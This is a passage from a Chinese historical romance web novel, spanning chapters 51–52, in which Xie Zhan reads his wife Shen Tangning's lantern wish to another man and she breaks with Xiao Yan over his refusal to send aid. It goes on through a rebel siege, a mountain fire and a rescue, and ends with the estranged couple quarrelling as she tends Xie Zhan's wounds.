汗水湿润,被风一吹有微凉的冷意。 谢瞻将手背到身后,佯装看向别处。 谢嘉妤拉着沈棠宁向前走,沈棠宁看向谢瞻,有些迟疑。 “哎呀嫂嫂,你看他做什么,我哥哥最不懂情趣了,难道你还想他陪你放灯?” “不是,阿妤,我不……” 沈棠宁忙解释,谢嘉妤却不由分说,拉着她便去一旁的小摊上买灯了。 谢瞻看着两人走到一处摊位前,谢嘉妤和摊老板交谈两句,买下两盏荷花灯,摊老板不知又递给两人什么东西,谢嘉妤凑到沈棠宁耳旁说了几句话。 沈棠宁一怔,而后轻轻垂下了头,没再言语。 “临远。” 卫桓走了过来,顺着他的目光看去打量。 “看什么,这么入神?”他笑道。 “没什么。”谢瞻若无其事道。 “你纸笺上写的是谁,咦……怎么好像不是我哥哥?” 一个女孩子欢快的笑声从两人背后传来。 另一女子羞恼嚷道:“讨厌你,不许偷看!我写的是我父兄的名字,为何要写你兄长?” 起初那女子就笑嘻嘻地道:“荷花灯是为心上人祈福的,你不写我哥哥,莫不是还要写别人家的情哥哥,这是个什么道理?” “你……你这小蹄子,你给我站住!” 两个女子笑闹起来。 卫桓听了片刻,笑着道:“听闻女子们放荷花灯,都会在灯心处藏一张纸笺,纸笺上写着自己心上人的名字。” “你想去看嘉妤写了谁?”谢瞻挑眉。 卫桓摆手道:“那倒不必,我自然晓得她写的是我。” 卫桓说得很有底气。 他也的确有这个底气。 卫桓比谢嘉妤年长六岁,原本郑国公夫人想给他定的是一位已经风华正茂的名门淑女,谢嘉妤尚未及笄,并不在郑国公夫人的考虑范围内。 谢嘉妤性格爽朗大方,她竟直接去寻了卫桓表白,不知她说了些什么,总之卫桓喝了她的迷魂汤,两人背着双方家长偷偷幽会许久,才被王氏与郑国公夫人发现。 而那厢岸边,谢嘉妤与沈棠宁分别写好了祈福的纸笺,点燃灯烛,将纸笺藏于灯心之间。 沈棠宁大着肚子,她蹲不下身,便手里捧着荷花灯,学着谢嘉妤的样子,闭上双眼。 年少时她也曾幻想着,日后她会为何人放一盏荷花灯。 后来她寻到了那个人,只可惜两人有缘无份。 自分别后,她嫁为人妇,他也投了定北王的帐下。 可能,这一切都是命吧。 沈棠宁睁大双眼,抬头望天。 片刻后,她面色便恢复了平静,将荷花灯递给锦书。 锦书放灯入河,轻轻一推。 荷花灯亮着幽幽的光芒,轻盈地随着池水飘向远处。 …… 卫桓遇到了几个熟人,是他在宫中做勋卫的兄弟们,谢瞻和他们不熟,遂避开去了别处。 谢嘉妤就拉着沈棠宁去了长廊上观景游玩,两人也不在岸边。 谢瞻向姑嫂两人刚停留过的地方走去。 “听说放女子们荷花灯,都会在灯心处藏一张纸笺,纸笺上写着自己心上人的名字。” 卫桓的声音在耳旁响起。 都是些无聊的玩意儿,有什么好看的,他真是鬼迷心窍了。 谢瞻皱皱眉,停住步子,转身离开。 走了几步,他忽停了下来,鬼使神差又回到原处。 这会儿没风了,沈棠宁和谢嘉妤放在水里的荷花灯没有漂流多远便停滞不前,两人买的自然都是最贵的荷花灯,是用八片缠绕了粉纱的金丝做成花瓣的模样,合成一朵荷花。 那荷花灯就静静地在水中亮着,并没有和其他人的灯盏混杂在一处。 谢瞻在草丛旁寻摸了长长的棍子,向池水中央的长桥走去。 很快,沈棠宁的荷花灯就被他打捞了上来。 谢瞻拔掉上面还在燃着的一截灯烛,抽出藏在灯心的纸笺。 不过在偷看之前,他还是有些心虚的,装作看风景一样抬头四下寻找沈棠宁的背影。 谁知安成突然就从一旁凑了过来,腆着脸笑道:“嘿嘿,爷,您放心,四姑娘和世子夫人还在廊上转悠着呢!” 谢瞻手一顿,冷冷瞪了长忠一眼。 拍马屁拍到了马屁股上,安成讪讪,连忙转过身去,表示自己不会偷看。 谢瞻才放心地把纸笺展开。 莫名的,他掌心又出了一层细汗。 其实没什么,不管这纸上写什么内容,都是他意料之中的。 这时,一阵风吹了过来,月光突暗,纸笺上的字影影绰绰,不大叫人看得清。 谢瞻只好换了个方向,把纸笺对着街市悬挂灯盏最多的明亮处。 只见纸笺上就写了一行,女子的字体娟秀柔润,是沈棠宁的字。 谢瞻不免凑近了些—— “仲昀哥哥,愿你福寿绵长。” 萧砚,字仲昀。 萧仲昀。 萧、仲、昀! 谢瞻不甘心,把纸笺反复、来回翻看,终于确认。 这张破纸压根就没写他的名字! 他慢慢放下纸笺,在掌心一点点揉碎。 旋即,咬牙切齿,怒气翻涌,蓦地抓起地上的荷花灯就撕了个粉碎! 50-60 第51章 “你先?下去吧。”萧砚放下笔,对阿顺说道。 “仲昀,你派出去救人的援军在哪儿?” 沈棠宁竭力忍住心头的怒气。 先?前萧砚不许她见赵庆,沈棠宁不放心,昨日坚持见到了卢夫人和赵庆,才知三日前赵庆并另外两个护卫骑马负着她与卢夫人及两名?孩童到了济南城外,恰巧碰见萧砚带着士兵在外修筑城池。 沈棠宁跟着军队行军赶路,多日劳累加之天气骤变,感染风寒,自从被谢瞻打晕之后就一直昏迷不醒。 赵庆本以?为?遇到了援军,大喜过望。 忠毅侯萧砚乃隆德帝亲封的宣威将军,太?子侧妃的亲弟弟,绝不可能?谋反,故而立即告知他?过来路上还有正在逃命的谢瞻与卢坤义一行。 谁知萧砚问清楚他?话之后便将他?软禁在了院子里,美曰其名?养伤,表面上客客气气,实际上他?压根门都出不去。 幸好沈棠宁过来看他?,赵庆急忙提醒沈棠宁,让她提防萧砚是否投靠了叛军。 沈棠宁自问还算了解萧砚,他?应当?不会投靠宗缙,可倘若萧砚真救了谢瞻,何必要软禁赵庆,还对她遮遮掩掩,分明是欲盖弥彰! 再看向左右丫鬟小厮,一个个半含半吐支支吾吾的模样,心里焉能?想不明白? 萧砚面上应付她派了援军救援谢瞻,实则根本就是在敷衍、甚至是骗她! 面对沈棠宁的质问,萧砚却不急不缓地走了下来,不答反问道:“团儿,我希望你能?明白,边豫装备精良,他?率领的叛军皆为?朔方三镇与外族联合之骑兵,个个骁勇善战,就在你来济南的五天之前,宁州城已破,这五天的时间,足够他?们追上谢临远,何况他?队伍之中?还带着那么多的累赘,就算我有心想要帮他?,等我两日之后赶到,只怕他?们早也已成为?了边豫的刀下亡魂。” “可是济南城不一样,这里的百姓还没有遭受宗缙张元伦叛军的荼毒,这两日我四处筹措军粮,广筑城池,为?的就是在叛军打来之时能?够……” “连你也觉得那三千的宁州百姓只是累赘?”沈棠宁难以?置信。 萧砚毫不犹豫地说道:“是,陛下发诏召集天下兵马勤王,谢临远却因为?三千百姓而置陛下安危于不顾,即使他?能?活着回来,陛下未必不会追究他?的抗旨之罪!” 明明是盛夏的时节,沈棠宁却感到浑身?一阵阵地发凉。 这让她第一次觉得,眼前的这个男人是如此陌生,如此地冰冷。 两个人是靠得那样近,心又好像离得那样远。 “团儿,我知道你想救他?,但你救不了他?,我也救不了。” 萧砚轻轻握住沈棠宁冰冷的手,安慰她道:“我们自身?都难保,接下来还有一场硬仗要打,边豫大军马上就要打过来了,我希望你能?理解我。” “如果今日的我也是那些百姓中?的一员,那么在你的眼中?,我是不是也是累赘而已,是你随时都可以?舍弃之人?” 萧砚皱眉,刚要开口解释,沈棠宁便自嘲一笑,抽出了自己的手。 “即使他?们那时真的已遭遇了不测,至少那些叛军也不可能?在短短的两日之内将那么多的军民?全部?杀光,如果你能?在他?们抵抗的最后一刻赶去,便可以?救下他?们,哪怕你要保卫济南城,不能?将你所有的兵力全部?调集而去,至少可以?派一小队士卒打边豫一个措手不及,也给济南城一个喘息的时间。” “仲昀,你自幼饱读诗书,志向高远,知事明理。我和你不一样,我只是个苟且偷生的弱女子,但我也从小就知道,国?将不国?,家如何能?存的道理。” “听到我爹爹战死沙场的那一刻,我娘就晕死在了地上,可是她从没对我说过一句后悔的话,因为?我娘知道,我爹爹不是为?了自己而死,而是为?了保家卫国?而亡,那是他?的命。将军百战死,壮士十年归,一个士兵可以?死在战场上,马革裹尸还,但他?不应该死在自己人的手里!” 沈棠宁最后一句话毕,萧砚脸色已是十分难看,额头上的青筋都爆了出来, “团儿,你的意思,我是嫉妒谢瞻?” 萧砚冷笑了起来,话语中?却带着连自己也没有意识到的羞恼 “我看你真是病糊涂了!你回去罢,我还有事要处理!” 他?一声令下,屋外候着的丫鬟们纷纷过来“请”沈棠宁回去。 “都别碰我!”沈棠宁娇叱道。 丫鬟们手还没碰着,唬了一跳。 没想到这位主子平日里看着娇滴滴病怏怏,说起话来柔声细语的,发起脾气竟跟个小辣椒似的,不由看向了上首的主人。 “都还愣着做什?么!”萧砚喝道。 “不用?你们来请我。”沈棠宁说道。 她看着萧砚,一字一句道:“萧仲昀,算我沈棠宁从前错看了你。从今往后,你过你的阳关道,我走我的独木桥,我们二?人互不相欠。你不愿救,我总会找到人愿意救,也请你别?再来干涉我!” 说罢没有丝毫犹豫扭头就走。 萧砚急忙上前一把攥住她的肩膀,将沈棠宁用?力扳向他?,愤怒地道:“团儿,你真要为?了谢临远和我决裂,还是你爱上他了?他身边有那么多的女人,他?从小和永宜县主一起长大青梅竹马,为了保护那个女人,他?甚至敢得罪梁王,我是不想看你犯傻!还是说你忘了当初他是怎么对你的?如果不是他?,我们两个人怎么会走到今天?!” “你到现在还以?为?,我和你走到今天只是因为?他??” 沈棠宁彻底心灰意冷,强忍着眼中的泪水一根根掰开他?的手指道:“萧仲昀,覆巢之下,安有完卵,国?破家亡,你心里却只惦记着儿女情长,我和你无话可说了,请你放开我!” 萧砚先?听她说出这番绝情的话,竟是一心一意要与他?决裂之意,一颗便心如堕冰窟。 刚刚她又道与他?再无话可说,面容冷淡言语讽刺,与平日里那个温柔善解人意的她大相径庭。 更可悲的是,他?心里有鬼,她说的每一字都戳到了他?的心窝子上,一瞬之间愤怒、懊恼、嫉妒齐齐涌上心头。 “我不放,团儿,你是我的,你今天也休想走出这扇门!” 萧砚咬牙切齿,平日里的仪表风度统统都抛之了脑后,忽然?伸手箍住眼前人的下巴,强行堵住她了的唇。 沈棠宁大吃一惊,忙去推打他?。 男人的身?躯强劲有力,她一个弱女子哪里能?推得动。 只是她始终紧咬齿关,不肯给他?机会,直到萧砚唇瓣一痛,口腔中?布满血腥味儿,不得已松开了沈棠宁,紧接着一个巴掌便狠狠地甩在了他?的脸上。 “对不起团儿,我答应你。” 沈棠宁踉跄着踏出大门之时,萧砚在她身?后颓然?说道。 …… 临清县,钟翠山。 沈棠宁离开的第二?日一早,边豫就率领五千叛军气势汹汹追赶了过来。 临清县令一听是边豫来了,吓得赶紧紧闭城门龟缩不出。 边豫装备精良,且手下叛军节节挺进?,但凡所过之处,朝廷军无不闻风丧胆,正是士气大振的时候,可以?说是所向披靡,想要和他?们硬碰硬根本不可能?。 卢坤义和谢瞻早前便把将近一半的百姓分三路分别?转移去了附近的济南、青州和兴庆等地,既是分散敌人的目标,也是求救。 否则大军带着这么多的百姓上路,莫说打仗,逃跑的时候都会处处被掣肘。 可惜至今为?止尚未收到任何回应救援。 不过除去路上伤亡逃走的士兵,两人手下的有效兵力目前便只剩下了不到五百个,带着这三四百名?老弱的平民?百姓,跑是跑不远,既然?如此,谢瞻索性也不跑了,和边豫在山林之中?打起了游击战术。 幸而附近的钟翠山地势险峻,我军占据优势地位。 谢瞻把这些百姓门安排在钟翠山地势最高的深山老林之中?,这样再无后顾之忧。 每回边豫眼看要抓到人了,这些朝廷军却跑的比兔子还要快,丛林隐蔽,偌大的山林之中?连个人影都找不到。 来回干打了两日,边豫终于累了,敌军呈现疲惫之态,在山脚下就地扎营埋锅。 饭还没做出来,卢坤义就派人过来骚扰,大家刀刚拿起来,这群人就又撒腿跑了。 一来二?去,把边豫气得跳脚又无可奈何,破口大骂谢瞻和卢坤义是无赖。 自此边豫不再轻敌,当?夜召集所有部?队,沿着斥候来报的三个方位兵分三路挺进?钟翠山。哪想到谢瞻和卢坤义故意设障,伪造出军队行过的痕迹,边豫的东西二?路将领求胜心切看不仔细,纷纷都扑了个空。 中?路是由主帅边豫亲自带领的三千步兵,然?而刚进?入钟翠山的婴子谷,只见满天的箭矢直直地朝着人的头面射来,边豫才突然?意识到这原来是谢瞻的诱敌深入之计。 两军离得有多近,他?甚至能?清楚地看到谢瞻就伏在树上朝着他?的胸□□箭,要不是他?躲闪的及时,简直就要被谢瞻射成了筛子! 到第四日的时候,边豫已是恨毒了谢瞻和卢坤义,提起来谢瞻就牙根痒痒,恨不得食其肉啖其骨,此时他?最好的策略其实是绕过钟翠山直接前往济南。 但边豫早就被愤怒冲昏了头脑,不顾一切势要亲自砍下谢瞻和卢坤义的首级祭旗。 于是他?绞尽脑汁地想到了一个损招—— 放火烧山- 凌晨时分,火势从钟翠山西侧的半山腰迅速朝着山顶和山脚下蔓延。 山林中?浓烟滚滚,遮天蔽日。 钟翠山位于临清县南郊,由西至东蜿蜒三十多里,其山脚下是一面临城三面环湖的钟翠湖。 一旦钟翠山山林烧尽,在风向的指引下,火势势必会蔓延到县城之中?,后果不堪设想。 边豫果真心狠手辣,视人命为?草芥。 要想不被烧死,他?们就要下山成为?边豫的刀下冤魂,死法恐怕不会被烧成焦炭更干脆。 “怎么办?”卢坤义问谢瞻。 几乎是不眠不休地打了五天,每日枕戈待旦,担惊受怕,如今山穷水尽,弹尽粮绝,卢坤义真的累了。 谢瞻同样满面疲惫,眼底布满了一根根的红血丝。 他?闭上眼睛,片刻后睁开。 在火光的映照下,他?的瞳孔微微涣散,面庞显得黝黑瘦削,嘴角边也长了一圈青色的胡茬,不过这看起来并没有折损他?的英俊。 相处这些时日,卢坤义早已彻底放下了他?对谢瞻的成见,这个来自京都的贵族青年,本以?为?他?在人生最后一刻会愤怒,绝望,无助,不舍。 但他?脸上并没有什?么表情,甚至是淡淡的。 即使是这样落魄的时候,这个青年都落魄得比旁人高贵优雅。 “你还有什?么未尽的心愿?”谢瞻问他?。 卢坤义想了想恨声骂娘道:“当?初在婴子谷,真该拼了命不要先?一刀捅死边豫,免得这个畜生日后再祸害人!” 谢瞻看向他?,旋即两人对视着放声大笑起来。 死到临头还能?笑得这么豪爽,在一片近乎凝滞的死亡气息中?着实是诡异,山洞内其它的士兵和百姓们听了都长吁短叹默默流泪,反正他?们是笑不出来。 “是条汉子!” 谢瞻大笑着站起来,拍了拍卢坤义的肩膀道:“待会儿你领一队往西,我领一队往东.突围,咱们兄弟两个便生死由命了!” 卢坤义郑重点头。 与其坐以?待毙,不若拼死一搏。 边豫没想到这群人都要死到临头了还这般能?打,作为?宗缙的得力干将,他?自然?也不是吃素的。 先?前因为?轻敌被谢瞻和卢坤义几乎当?猴一样耍得团团转,如今边豫也料到了这两人会从何处突围下山,早就在几处设下埋伏,只等人来送自投罗网,来个请君入瓮。 大火一直烧到凌晨鸡鸣时分,熹微破晓,清晨的第一缕阳光照射到被大火肆虐的钟翠山巅,动物和人的尸体漫山遍野,哀鸿阵阵。 “朝廷军来了!援军来了!” 就在两军打得如火如荼之际,人群之中?不知是谁大喊了一句。 紧接着,这道声音便宛如魔咒一般在叛军中?回荡,敌军方寸大乱。 边豫勃然?大怒,他?素来治军严厉,以?为?是有人谎报军情,大声喝令众人不许乱了阵仗,谁乱一刀过去砍了谁的脑袋。 等到后排的叛军都逃走了,边豫觉得后背凉飕飕的,扭头一看大吃一惊,只见一众红衣甲胄的士兵不知何时绕到了自己的斜后方,自己竟被来救援的朝廷军包了饺子! 吓得边豫立即夺过近卫的衣服就披在身?上,仓皇择小路逃之夭夭。 萧砚率人如何追击叛军余孽自不必提,且说沈棠宁不放心萧砚是否真的施救,便跟随萧砚一行来到临清,入城后萧砚却说什?么也不肯再让她往前了。 沈棠宁自知再一意孤行恐成累赘,遂听他?话待大军驻扎的安全之处。 忽见山火弥漫,一路百姓四散逃去,而登高远眺,偌大的县城几乎人去城空。 萧砚一面安排人手挖通钟翠湖环城的一侧来阻隔山火,一面带人驰援谢瞻,沈棠宁见情势危急,一时也顾不得个人安危,下车进?城动员城内落在后面的老弱妇孺有序撤离。 不知是不是老天爷看不下去边豫所作所为?,随着天空一阵剧烈的轰隆雷鸣,适才还晴朗如洗的碧空霎时间乌云密布,不消片刻便下起了瓢泼大雨。 一个时辰后,不仅边豫仓促而逃,大火也被大雨逐渐扑灭,百姓们纷纷喜极而泣。 沈棠宁担心谢瞻身?上的伤,人人都在回城,她命赵庆驾驶着马车两人往城门口赶,走到城门楼的时候,赵庆在前头忽地顿住了马,指着前头一匹浑身?乌黑的白蹄骏马大声叫道:“夫人,那是将军的白蹄乌!” 沈棠宁惊喜地掀开帏帘。 …… 谢瞻受了重伤,倘若当?时不是他?的卫兵强撑着把他?背到了一块岩石之后,只怕他?便要被边豫的那把利刃劈成了两半。 沈棠宁颤着手解开他?的衣服,发现他?浑身?上下几乎没了一块好肌肤,但凡是有伤的地方,血肉都跟着衣服黏连在了一起。 大夫来给他?看过,说得赶紧清理伤口,开了些药,沈棠宁费了很大的力气给他?全身?的伤口都清理了一遍,从早晨忙到傍晚没吃一口饭,也许他?是太?累了,昏睡的时候眉宇间都是紧紧皱着的,不时发出几句含糊的呓语。 沈棠宁也不禁看得愁眉紧锁,伸出手轻轻按在他?的眉心上,想要抚平那道褶皱。 可不管她如何用?力,那道痕迹依旧直挺挺地皱着。 雨停了。 沈棠宁不得不放弃了。 她支颐看着谢瞻,发现他?黑瘦了许多,两颊都瘦凹了进?去,衬得他?的鼻梁又高又挺……看着看着,逐渐地,眼前变得越来越模糊。 一天一夜没有休息,她也实在困累,在他?的病床边就这般合衣睡了过去。 第二?日醒过来的时候,谢瞻还未苏醒,阿顺就跑来很着急地告诉沈棠宁,说他?们主子回来了,身?上却受了极严重的伤,但他?让军医们都去给士兵们看病了,怎么也不肯医治,请她帮忙先?去看看。 沈棠宁迟疑了一下,回头看向谢瞻。 那厢阿顺仍在不停的催促,思虑再三,沈棠宁还是带上了药箱,跟着阿顺去了萧砚的房间。 萧砚前去追击边豫,边豫老奸巨猾,让他?的亲兵穿上衣服扮成他?的模样,而他?自己则只带了不到十个人骑了匹快马一路北逃。 萧砚追了一天一夜硬是没能?追上,兼之如阿顺所言的确受了重伤,有道从肋骨下方斜着刺进?腹腔之中?的贯穿伤,随着骑马的颠簸伤口始终流血不止,只得铩羽而归。 沈棠宁从萧砚房中?出来,听到丫鬟说谢瞻醒了好一会儿了,又惊又喜,忙快步去看他?。 因边豫主力军已被冲散,威胁不到济南了,而我军大部?分士族都有不同程度的负伤,萧砚便安排军队暂时驻扎在了临清,如今几人共同住在驿馆之中?养伤。 沈棠宁进?屋的时候,屋里一股子浓重的药味,谢瞻上半身?除了脸之外都被绷带缠成了一只粽子,正听他?手下另一位同样伤得不轻的副手汇报军情和百姓伤亡安置情况。 等了约莫一刻钟的时间,直到那人一瘸一拐地离开了她才进?去。 谢瞻见到她进?来了,眼皮子微微一动,阖着回靠在了枕上。 “你醒了,感觉怎么样?” 沈棠宁坐到他?身?边,帮他?把喝空的药碗递给丫鬟,柔声问。 谢瞻没言语,半响方懒懒道:“我没事,困了……你做什?么?”他?睁眼怒瞪她。 沈棠宁刚伸手在他?额头上探了下就被他?甩开。 她愣了下道:“我试试你有没有发烧,这两日天不好,我怕你着凉生病。” “那倒不必你来操这闲心。” 谢瞻上下看了她两眼,闭了眼重新躺回去,“别?来烦我,我要困觉。” 沈棠宁耐心地说:“你刚昏睡了这么久,还是先?吃些东西垫一垫才好,不然?腹中?饥饿,对伤势恢复也不利,我让人给你煮了点粥,里面是你爱吃的裙带菜,马上就端过来。” “随你。”他?不冷不热地道。 饭菜还没端过来,沈棠宁把纱布清水和药膏都摆好放在了一边,掀开他?身?上盖的被子去解他?后背系的绷带结。 谢瞻猛一转身?要发火,恰她抬头,午后温暖的日光落在她的脸上,将她乌浓的瞳仁染成了淡淡的浅金色,白皙如凝脂般的肌肤上一丝瑕疵没有,清晰可见上面的绒毛,此刻正满脸紧张地看着他?。 “我弄疼你了?”她连忙问。 谢瞻到嘴边的话就憋了回去。 只是一想到她对萧砚一定也是同样的关怀体贴,心里就跟吃了只苍蝇似的发酸发涩。 “你以?为?我是你那旧情郎,被戳了一刀子就要死要活,我看你趁早去照顾他?为?妙,别?在我这里白费功夫,说不准你把他?伺候好了,他?一高兴就把你力排众议娶回家了。” 他?阴阳怪气地道。 沈棠宁皱了皱眉,没说什?么,把解下来的绷带放到了一边,用?纱布擦拭他?的后背,涂上药。 谢瞻见她不答话,更以?为?她是默认,一股气就直直横冲上了脑壳,尖酸刻薄地道:“我劝你别?这么上赶着,刚和离就迫不及待地想嫁进?萧家,作为?妇人,还是知道些礼义廉耻好,免得……” 一语未了忽地龇牙大吼一声,“沈团儿,你想弄死我?!” 沈棠宁心想弄死你就算了,把你这张嘴给缝上最好! 那伤口中?渗出了丝鲜血,谢瞻额头上也冒出了不少冷汗,沈棠宁给他?重新清理了下,以?为?疼到这份上这厮嘴巴就能?闭上了。 谢瞻又说了几句,她都充耳不闻,似乎也有些自讨没趣。 等她双手从他?肩膀两侧拉来绷带系到胸口结束的时候,头顶上谢瞻似笑非笑地说道:“你是不是觉得我给了你和离书,你就能?就此脱离苦海,离开谢家了?” “你什?么意思?”她终于抬起了头。 “没什?么意思。” 谢瞻抻了抻胳膊,慢吞吞道:“就想提醒你一句,我这人可不像那个你姓萧的情郎,素来睚眦必报,你若叫我心里不痛快,你就别?想痛快,只要我不放你,你休想离开谢家!” 沈棠宁拧起眉来。 打从这人刚睁开眼见她第一眼开始,不是在挖苦就是在讽刺。 她看着他?道:“阿瞻,我知道你现在身?上不舒服,心里憋闷想发脾气,但大夫说你体格好,你遵医嘱好好养伤,一个月就能?下床了,这都不是什?么大事……我也不知我哪里又惹你了,你说我叫你不痛快,是因为?救你的人是仲昀吗?我不知你和他?曾经究竟有何过节,就算如此,他?毕竟也救了你,你何必……” 仲昀仲昀,叫的当?真是亲切的不能?再亲切了! “我让你和那个狗东西来救我了?” 谢瞻本来被情敌相救心里就有疙瘩,又听沈棠宁字字句句维护萧砚,更是火大,一时控制不住冲她吼道:“你又算什?么东西,来教我做事?别?以?为?我救了你,你在我眼里就是个人物了,沈棠宁,我是厌烦他?,但你也别?自作多情,妄想对我指手画脚!” “我没有……那你为?何要救我,你当?初为?何不看着我掉下山涧去死?” “我早就说过,你以?为?我想救你!若不是刀卡在那马车上,哪个蠢货愿意陪你去死?!” 沈棠宁咬着唇,眼圈慢慢红了。 她真是自作多情,他?心里一直喜欢的那个人,明明是永宜县主。她竟会误会谢瞻救她,不愿和离是……喜欢她,多么可笑! “你不用?冲我发火,我把和离书给婆母,她自会为?我做主……” 谢瞻冷笑道:“如今天下大乱,你就是去找陛下他?也没空伺候你,何况那和离书上都没有我的印信,你以?为?顺天府能?答应让你和离?” “够了!那好,既然?你这么讨厌我,你当?初救我一命,我也救你一命,我们两个就此两清了!你把你印信给我盖上,我保证日后绝不来碍你的眼!” 沈棠宁终于忍无可忍,站起来冲着谢瞻叫道。 第52章 卢坤义睡得正?香,被隔壁的争吵声吵醒了。 他一瘸一拐进来的时候,屋里沈棠宁早就走了,只留下?个?谢瞻躺在?床上看着?手里的似乎是块玉佩还是什么东西的发怔,听到有人?进来,他闭上眼睛收起东西来,冷冷道:“你也滚出去。” 两人?也算是过命的交情了,卢坤义说道:“你冲我?发什么火,我?可没惹你,不是我?说,你纵有一身气性胆量,发到宗景先和张元伦身上,冲你老婆算什么有种?” “快给我?滚出去!” 谢瞻猛地起身怒瞪他道,还尝试忍痛在?四周找攻击投掷的器械。 卢坤义皆轻巧地躲过。 刚才他在?隔壁听两人?吵架,从争吵的内容中拼凑出了个?大概。 这位谢夫人?看来与那位萧侯爷关系匪浅,不过这并不费解,这位谢夫人?不光生得花容月貌,光彩夺目,且听他夫人?说性格亦是温柔安静,善解人?意?,跟她相处起来十分亲切,她看着?也喜欢。 对于沈棠宁和萧砚的来往卢坤义自不得而知,但他看出来沈棠宁的确是很关心谢瞻,便说道:“从我?昨日醒过来,你夫人?就坐在?床边不吃不喝地照顾你,她好声好气和你说话,都是关心你,你何必酸言酸语阴阳怪气?要不是那位萧侯爷的小厮过来说他受了重伤找不到军医医治,你夫人?也不会?过去……” “你再说一遍?” 卢坤义又说了一遍,末了嘿了一声道:“就你硬气成这样,跟个?炮仗似的一点就着?,就算你伤成了残废也抵不过那个?会?哭的孩子?有奶吃!” 谢瞻默了片刻,把脸撇向窗外道:“我?不会?哭,更不会?跟女?人?摇尾乞怜。” 卢坤义彻底无语。 “你俩都闹到要和离的地步了,嘴还硬,谢将军,其实你不用说我?也知道,你不想和离……” 卢坤义瞅了谢瞻一眼,果见他满脸落寞伤心,只老婆在?时装出一副不在?乎的模样。 卢坤义咳嗽一声,凑到谢瞻身边道:“谢将军,我?瞧你也是个?性情中人?,不如你听我?的……” 如此这般一番,谢瞻听了眉头越皱越深,却还有些拉不下?脸。 “你都想些什么馊主意?,我?岂会?求她来!” 卢坤义理直气壮道:“那怎么能叫求,你本来就受了重伤!咳……虽然你看起来还能揍人?,倒也没那么重……不过咱俩那都是过命的交情了,我?厚颜自称一声你哥也不为过吧?”拍着?胸脯道:“你就照我?说的去做,这事包我?身上了!” 谢瞻哼了一声,这次倒没再回绝。 这事说罢,两人?立即谈起了正?事。 边豫是跑了,朝廷的心腹大患还没解决,卢坤义说道:“计划有变,郭将军中途也同样遭遇了边豫叛军的追击,去了青州。陛下?听闻后下?旨封郭指挥使为朔方?节度使,命他即刻前往山西平定叛乱。咱们可以赶回京都勤王?” 谢瞻却摇头,指着?舆图道:“京师之围已解,如今宗景先一心做他的皇帝梦,在?太原登基称帝,宗缙的小舅子?那阔被裴将军拒于居庸关外,只要裴将军闭关不出,凭借居庸关天险,那阔便难耐京师何。” “但宗缙义父张元伦占据了河北,打的主意?必定是从河北驰援那阔,从而与山西连成一线,直逼京都。” 谢瞻手势在?河北东南侧指了指,卢坤义恍然大悟,“你的意?思是张元伦侧翼空虚,我?们此时要去进攻河北,扰乱敌人?的大本营?” 谢瞻点了点头。 卢坤义面?露赞许之色,连连说道:“倘若能收复河北,那阔必定腹背受敌,届时我?们再与郭将军配合?*,各个?击破,收服失地指日可待!” 两人?商议完毕,谢瞻立即手书奏章一封递给卢坤义,因在?钟翠山时边豫亲率叛军是与谢瞻遭遇,故而卢坤义受伤并不重。 隆德帝及谢家一众至今尚不知谢瞻生死,谢瞻得陈奏叫隆德帝给他指派军队,顺道也给家里写了封家书报平安。 …… 与此同时,沈棠宁也在?自个?儿的房间?给家里人?写平安信。 萧砚得知叛军起兵后便找机会?给远在?京都的沈棠宁写了信,京师之围暂解,如今回信才送到萧砚的手中。 信是温氏回的,告诉萧砚孩子?没事,叛乱当日谢家就立即派了几十个?侍卫把温氏和圆姐儿都接到了镇国公府,如今娘俩儿还在?镇国公府里住着?,连温济淮一家也都派了侍卫去看护。 但沈棠宁却因那日去了城郊的普济寺礼佛后不知所踪,温氏急切地求萧砚帮忙寻找女?儿。 在?济南救下?沈棠宁之后,出于对她保护的考虑,担心她遭遇了不愉快的事情,萧砚并没有询问她为何会跟着谢瞻离开京都。 沈棠宁看到温氏的亲笔信,终于确信了女儿和母亲、舅舅一家的平安,写好了信,她总算是落下心中一件大事。 只是一想到还在襁褓中吃奶的女儿,心里又忍不住思念担心起来,连饭都吃不下?去,趴在?桌上郁郁寡欢。 “夫人?不好了!” 丫鬟着?急忙慌地冲进来道:“您快去看看吧,谢将军他快不行了!” 沈棠宁腾得站了起来,向外面?跑去。 进屋看见卢坤义一脸哀色地站在?谢瞻的床边,而床上的谢瞻脸色苍白昏迷不醒,一名须发皆白的老大夫正?在?给谢瞻把脉,一时闭着?眼睛皱起眉头,一时捋着?胡须长吁短叹。 “大夫,他……他还有多久了?”沈棠宁问。 老大夫睁眼刚要回答,闻言愣了一下?,吃惊地看向卢坤义。 卢坤义哪里料到他让丫鬟去通知沈棠宁,说她家主子?病得很严重,叫她赶紧过来看看,碧玉没领会?卢坤义的意?思,自作主张往重了说,直接说谢瞻人?不行了。 卢坤义赶紧挤了下?眼睛,老大夫也不懂卢坤义是啥意?思,“哦哦”着?支吾两声道:“有些重……唔……其实倒没那么重……但说实话也挺重的……唉,老朽的意?思是,呃……” 老大夫挠挠头,干脆说了实话道:“谢夫人?是吧?谢将军身上受的伤本来没那么重,身上那两处贯穿伤,但凡位置再偏一指甲盖儿,都要戳到心口和肺上了,但他不好好养伤,元气虚脱,肝火旺盛,肩膀和大腿内侧的几处均有些发炎,再这样下?去可是于伤势恢复不利,待会?儿我?开几贴内服外用的药,望夫人?多劝谏将军一二?,莫再动肝火了!” “那他何时能醒?”沈棠宁担心地问。 “给他灌碗参汤,差不多一两个?时辰吧。”老大夫说道。 老大夫开完药后,看着?差不多的卢坤义便见好就收,悄悄退了下?去。 沈棠宁吩咐丫鬟们去煎了参汤和药,等人?都走了,把谢瞻上半身的绷带都轻轻解了下?来,果见伤口恢复得很差,有几处也有不同程度的发炎流脓。 真不知道这人?整日哪里来那么大的肝火。 说起来,他有时发怒的点她真不能理解,当时在?济南城留守驻扎的最高军政长官便是萧砚,而她唯一认识的也只有萧砚,不求萧砚去援救他,难道要她眼睁睁看他死吗? 沈棠宁帮他给上半身重新?擦拭换好药后,想到老大夫说他大腿内侧也有些发炎,犹豫了一下?,还是出门去叫了他的侍卫过来。 那些侍卫早就被卢坤义叮嘱过了,一个?个?苦着?脸摆手道:“夫人?,我?们一群大老粗也不是小厮丫鬟,实在?笨手拙脚得很,今早帮谢将军换药,还因下?手太重被谢将军责备了好一番,夫人?您菩萨心肠,还望您能体恤则个?!” 这说的倒也是实话,别?看谢瞻年纪轻轻的,平日里会?与将士们同桌而食,实际上他治军相当严厉,大家心里都十分敬畏他。 话都说到这份上了,沈棠宁只好硬着?头皮回到床前。 